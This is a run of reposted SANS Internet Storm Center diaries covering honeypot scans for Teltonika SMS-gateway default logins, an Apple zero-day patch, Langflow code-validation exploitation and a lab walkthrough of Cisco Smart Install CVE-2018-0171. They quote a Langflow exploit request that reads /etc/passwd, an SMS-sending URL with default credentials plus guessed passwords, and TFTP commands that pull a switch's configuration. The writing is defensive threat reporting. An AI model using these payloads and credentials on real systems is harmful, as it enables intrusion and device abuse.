This post was originally published on this site

Ever wonder where all the SMS spam comes from? If you are trying to send SMS "at scale," there are a few options: You could sign up for a messaging provider like Twilio, the AWS SNS service, or several similar services. These services offer easily scriptable and affordable ways to send SMS messages. We have previously covered how attackers attempt to steal related credentials to use these services even cheaper (for free!). 

But if you are not into cloud or SaaS, maybe you instead like to send your own SMS messages directly? Or would you like to become the next Twilio? In this case, special SMS gateways are available. One company making these gateways is Teltonika Networks. They offer a wide range of products to send and receive SMS, including devices for IoT remote management and enterprise SMS gateways.

But of course, you need to authenticate to send SMS messages. Nobody wants complex login credentials and passwords. Teltonika offers simple default credentials: "user1" as user name, and "user_pass" as password.

I am surprised it took so long for us to see some scans for these well known credentials. For example:

/cgi-bin/sms_send?username=user1&password=user_pass&number=00966549306573&text=test

This request will send an SMS "test" to 00966549306573, a number in Saudi Arabia. Oddly enough, I ever so often see Saudi Arabian numbers used in SMS related scans.

Here are a few other passwords I have seen, all for the user "user1":

1234
admin
p8xr6tINNA0eGBIY
root
rut9xx
teltonika
test
user1

The long "random" password is interesting. It was used several times, and I am not sure if that is some kind of "support" backdoor. The "rut9xx" password makes sense as the model numbers for the industrial Teltonika gateways start with "RUT", like RUT140, RUT901, RUT906…, 

Numbers I have seen as a recipient:

00966549306573 (Saudi Arabia)
0032493855785& (Belgium)

As usual, change default passwords, particularly for more professional equipment like this: Throw it back at the vendor (HARD!) if it comes with a default password.

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

 

Today, Apple patched two vulnerabilities that had already been exploited. The vulnerabilities were exploited against iOS but also exist in macOS, tvOS, and visionOS. Apple released updates for all affected operating systems.

 

iOS 18.4.1 and iPadOS 18.4.1	macOS Sequoia 15.4.1	tvOS 18.4.1	visionOS 2.4.1
CVE-2025-31200: Processing an audio stream in a maliciously crafted media file may result in code execution. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on iOS.. Affects CoreAudio
x	x	x	x
CVE-2025-31201: An attacker with arbitrary read and write capability may be able to bypass Pointer Authentication. Apple is aware of a report that this issue may have been exploited in an extremely sophisticated attack against specific targeted individuals on iOS.. Affects RPAC
x	x	x	x

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Two weeks ago, version 1.3.0 of Langflow was released. The release notes list many fixes but do not mention that one of the "Bug Fixes" addresses a major vulnerability. Instead, the release notes state, "auth current user on code validation." [1]

Its website states, "Langflow is a low-code tool for developers that makes it easier to build powerful AI agents and workflows that can use any API, model, or database." It can be installed as a Python package, a standalone desktop application, or as a cloud-hosted service. DataStax provides a ready-built cloud-hosted environment for Langflow.

The vulnerability went somewhat unnoticed, at least by me, until Horizon3 created a detailed writeup showing how easy it is to exploit the vulnerability and provide proof of concept exploit. Horizon3 published its blog on April 9th [2]. We saw a first hit to the vulnerable URL, "/api/v1/validate/code", on April 10th. Today (April 12th), we saw a significant increase in hits for this URL.

The requests we are seeing are vulnerability scans. They attempt to retrieve the content of "/etc/passwd" to verify if the target system:

POST /api/v1/validate/code HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/617.2.4 (KHTML, like Gecko) Version/17.3 Safari/617.2.4
Connection: close
Content-Length: 125
Content-Type: application/json
Accept-Encoding: gzip

 

{"code": "@exec('raise Exception(__import__("subprocess").check_output(["cat", "/etc/passwd"]))')ndef foo():n  pass"}
 

Not all of our honeypots report request bodies. So far, this is the only request body we recorded. So far, all of the requests originate from TOR exit nodes.

 

[1] https://github.com/langflow-ai/langflow/releases/tag/1.3.0
[2] https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

[This is a Guest Diary by Matthew Gorman, an ISC intern as part of the SANS.edu BACS program]

Background

I recently had the opportunity to get hands on with some Cisco networking devices. Due to being a network engineer prior to my current job as a network forensics analyst, I have a relatively solid understanding of these infrastructure devices and how they work. I wanted to write this blog detailing some of the critical oversights I see in my current job that are common for these devices and how they are abused by attackers that are also familiar with how they work. To demonstrate this I will be walking through a vulnerability that was first discovered in 2018 for these network Infrastructure devices, CVE-2018-0171, a Remote Code Execution exploit targeting Cisco’s Smart Install feature. 

CVE-2018-0171

Cisco’s Smart Install feature is a “plug and play”[1] configuration feature that allows for new networking devices to be deployed remotely and when plugged in they will configure themselves automatically without needing the support of a network administrator. This greatly eases the burden of network administrators needing to go on site where the device is to make the basic initial configuration changes to ensure it is remotely accessible. 

The problem with smart install is three pronged. First, this feature is enabled by default on Cisco devices.[2] The second is that, by design, Smart Install protocol does not require authentication prior to use. The third, and last, prong is that due to the nature of the devices facilitating the flow of network traffic in and out of organizations, the port is often publicly accessible. In fact, doing a cursory search on Censys for this port and the service name associated with Cisco Smart Install (SMI) pulled up 1,239 devices with this service publicly accessible.

To be clear, this is not to say that all 1,239 of these devices are vulnerable to this particular CVE. This is simply illustrating the prevalence of publicly accessible devices running the Smart Install service.

So in 2018 when Cisco publishes a critical vulnerability with remote code execution capabilities that impacts a service that is designed to be open to the internet it becomes a popular exploit fast. The flaw in the smart install service allows an attacker to craft a packet with a Smart Install message that would be improperly validated, allowing the supplied command to be run without authentication.

In an effort to develop additional analytical insights into this attack I was able to get hands on with some outdated Cisco devices and pull an open source tool that targets this vulnerability called the Smart Install Exploit Tool (SIET)[3].

SIET Script Analysis

For this use case, I used a Cisco Catalyst 3750 switch running on IOS 12.2.(55) SE11 firmware. Using the Cisco Software Checker tool,[4] I identified that this version of IOS had 32 different identified vulnerabilities to include 3 that were rated as “Critical”. One of those “Critical” vulnerabilities included CVE-2018-0171. Upon confirming the switch was vulnerable to CVE-2018-0171, I downloaded the SIET tool from GitHub to examine how it works. Looking at the python script that the Smart Install Exploit Tool (v3) is built on; SIET has several functions that exist to perform different actions towards the targeted device. These functions include:

conn_with_client
This sets a connection with the remote cisco device and prints different messages depending on the response from the targeted device.

test_device
This creates a malicious Smart Install packet and calls the conn_with_client function to send it to the remote device.

change_tftp
This function calls the conn_with_client function to connect to the targeted cisco device and depending on the set mode the Threat Actor (TA) selects performs different actions. The specified modes allow the actor to upload their own altered configuration file to replace the existing configuration file on the targeted device (or multiple devices, if specified), use TFTP to transfer the existing configuration file to the TA’s IP address, or have the targeted device download a potentially malicious or trojanized Cisco IOS image file from the TA’s IP address. 

Summarily, this exploit tool provides a significant amount of capability to a Threat Actor seeking to gain access to an unpatched Cisco networking device hosting the Smart Install service.

Packet Analysis

After setting up the connection from my laptop to the Cisco 3750 switch. I configured the switch to turn on the Smart Install service by issuing the command “vstack”. This is configured by default but, in this case, had been turned off during previous testing. Issuing this command starts up a TCP listener on port 4786 that smart install uses to respond to Smart Install Director Requests. Smart Install Directors are a role in the Cisco Smart Install architecture that acts as a central management hub for all Smart Install enabled clients, in this case it is the Cisco 3750 switch.

Once the switch was configured, I fired up SIETv3 and ran the script with the flag “-h” to pull up the help menu. 

As seen above this tool has several options that can be run against vulnerable Cisco networking devices. The one I used in this scenario was the “-g” flag to pull back the configuration of the device. Prior to running the command I started wireshark to make sure I captured the attack on a packet level. 

After running the attack and successfully pulling back the configuration of the Cisco 3750 I stopped the packet capture. Below is a snippet from the packet capture that shows the structure of the attack from a high level. 

Generally, the attack, as I had specified, follows a pattern of connecting to the Smart Install port (4786) and then using the Trivial File Transfer Protocol to then grab the contents of the running configuration of the Cisco switch. 

Interestingly examining the TCP packets that are communicating on port 4786 There is a single packet that is much larger in length than the others. In this packet capture it is packet 43 with a length of 1102 bytes. 

Examining the data portion of this packet reveals some interesting commands being issued from my laptop to the 3750. Specifically, my laptop is using the Smart Install port to first issue the command “copy system:running-config flash:/config.txt”. This command takes the running configuration file that exists in the system directory and copies it over to the flash directory with the name “config.text”. SIET then follows up this command with another one that says “copy flash:/config.text. tftp://192.168.10.2/192.168.10.1.conf” this command takes the newly copied over config.text file and, using the TFTP protocol, copies it to my laptop with the new name of “192.168.10.1.conf”. 

After these two commands the TFTP file transfer begins and because TFTP is a clear text protocol it is possible to see the entire running configuration of the 3750 in the data portion of the TFTP packets. Below is the data portion of packet 66 which shows a portion of the configuration in clear text

Running-Configuration Analysis

Examining the file that is being transferred just in the data portion of these TFTP packets in wireshark makes it a little hard to parse. Luckily, Wireshark includes a file carving tool that will compile the entire file that was transferred and while making it easier to parse.

To do so, I used the TFTP option under “File -> Export Objects -> TFTP…”. This pulls up the below window that displays the last packet of the file transfer, the size of the transfer, and the name of the file as named in the second command issued in packet 43. 

From here I saved off the file and pulled it up in a text editor to examine the whole running configuration file that was transferred. Below is a screenshot of the first several lines of the running configuration. A quick note, I did edit the text file to censor the passwords used on this device (denoted by “<CENSORED>”) for privacy and security reasons. 

With this information, in a Threat Actors (TA) hand, they could examine the running configuration to probe for additional vulnerabilities they could use to further exploit. For example, in this case I have several Type 7 passwords configured on this switch, which are denoted by the “password 7”. Type 7 passwords are passwords that have been encrypted using a Vignere cipher. Unfortunately, the key for this cipher has been public for many years and as a result, there are several websites, github tools, and tools embedded into offensive platforms such as Kali Linux, that can crack these passwords immediately. Due to this, the NSA strongly recommends against using type 7 passwords in any form[5]. 

The 3750, however, does have type 7 passwords configured for the local accounts with admin privileges (admin accounts are distinguished via “privilege 15”, the highest privilege level on a Cisco device) on the device and with the unedited version of this running configuration a TA would easily be able to crack the passwords for these accounts. Should the SSH configurations for this device be equally unsecure, lacking an Access Control List for example, a Threat Actor could be able to login with the newly cracked credentials using a legitimate account that was provisioned for use by the owners of the device. This would limit the detectable footprint of a TA’s activity by not forcing them to make a new account on the device that may stand out if an organization is closely monitoring account creation on network devices in their environment.

Conclusion

It is an unfortunate reality that while this particular vulnerability may be the age of the average American second grader[6] (reaching 7 years old by March 28, 2025), this vulnerability is still actively being exploited with incredible degrees of success. GreyNoise, a cyber threat intelligence company, and Cisco Talos, Cisco’s threat intelligence arm, have both published blog posts on the active use of CVE-2018-0171 by the TA known as Salt Typhoon.[7][8] Salt Typhoon is an Advanced Persistent Threat (APT) actor based out of the People’s Republic of China and was recently reported to be behind a campaign of attacks that gained media attention in the fall of 2024. These attacks, described by one U.S. Senator as the, “worst telecom hack in our nation’s history”,  were against several major US-based Internet Service Providers that operate globally to include companies such as Verizon, AT&T, and T-Mobile.[9] While the impact of these hacks is still being understood today, what we do know is that there are significant security gaps when it comes to the monitoring and management of the network infrastructure devices that stitch together the internet. These devices will continue to be a lucrative target for APTs, Cybercriminals, and others that wish to get a foothold in critical infrastructure. Unless organizations begin prioritizing the hardening and visibility of the network infrastructure, vulnerabilities like CVE-2018-0171 will remain open doors for adversaries.  

[1] https://www.cisco.com/c/en/us/td/docs/switches/lan/smart_install/configuration/guide/smart_install/concepts.html
[2] https://www.nsa.gov/portals/75/documents/what-we-do/cybersecurity/professional-resources/orn-cisco-smart-install.pdf
[3] https://github.com/frostbits-security/SIET
[4]  https://sec.cloudapps.cisco.com/security/center/softwarechecker.x
[5] https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/1/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF
[6] https://www.cde.state.co.us/datapipeline/grade-age-chart
[7] https://www.greynoise.io/blog/greynoise-observes-active-exploitation-of-cisco-vulnerabilities-tied-to-salt-typhoon-attacks
[8] https://blog.talosintelligence.com/salt-typhoon-analysis/
[9] https://www.washingtonpost.com/national-security/2024/11/21/salt-typhoon-china-hack-telecom/
[10] https://www.sans.edu/cyber-security-programs/bachelors-degree/

———–
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.